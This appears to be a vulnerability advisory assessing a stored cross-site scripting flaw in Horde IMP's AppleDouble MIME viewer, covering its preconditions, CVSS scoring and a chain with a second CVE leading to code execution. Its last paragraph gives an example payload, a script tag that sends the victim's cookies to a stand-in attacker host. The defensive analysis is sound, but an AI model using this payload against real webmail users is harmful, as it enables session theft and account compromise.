Horde IMP CVE-2026-65053

The target must be running Horde IMP version prior to 7.2.0 with the AppleDouble MIME viewer active (the default configuration). The victim must open (render) the crafted email in a browser-based IMP session - a normal and expected user action, not a deliberate security interaction. The CVSS 4.0 vector PR:N confirms the attacker requires no credentials or account on the target system; only the ability to deliver email to the victim's address is needed. Exploitation of the more severe code-execution escalation path additionally requires that the message be viewed in an IMP administrator's session and that CVE-2026-58451 be simultaneously present and exploitable. Stored delivery means the payload fires on every subsequent view of the message, not only the first.

The CVSS 4.0 score of 5.1 with vector AV:N/AC:L/AT:N/PR:N/UI:A reflects a low-complexity, network-delivered attack requiring only that the victim open the message - a routine webmail action, not a deliberate security decision, so the UI:A constraint provides limited real-world protection. The stored XSS nature is an important amplifier absent from the base score: the payload persists and fires on every view, increasing the attack surface beyond a one-time event. A publicly available exploit writeup (blog.evan.lat) substantially narrows the skill gap for exploitation. The most significant risk signal is the researcher's documented escalation chain: script running in an administrator's session can reach a code-execution path via CVE-2026-58451, elevating this from session-hijacking to potential full application compromise - an impact not captured by the CVSS 4.0 score. No CISA KEV listing was identified at time of analysis, so confirmed active exploitation is not established, though the exploit's public availability makes opportunistic targeting plausible. The limited deployment footprint of Horde IMP compared to mainstream webmail platforms constrains aggregate exposure.

An attacker crafts a multipart/appledouble email in which the data part's MIME name parameter contains a JavaScript payload such as <script>fetch('https://attacker.example/?c='+document.cookie)</script>, then sends it to any IMP user. When the victim opens the message in their webmail browser, the unsanitized name is rendered verbatim into the page HTML, executing the script in the victim's authenticated session and enabling cookie theft or further session abuse. A publicly available exploit writeup details this technique and additionally demonstrates chaining with CVE-2026-58451 to reach application-level code execution when an IMP administrator is the victim.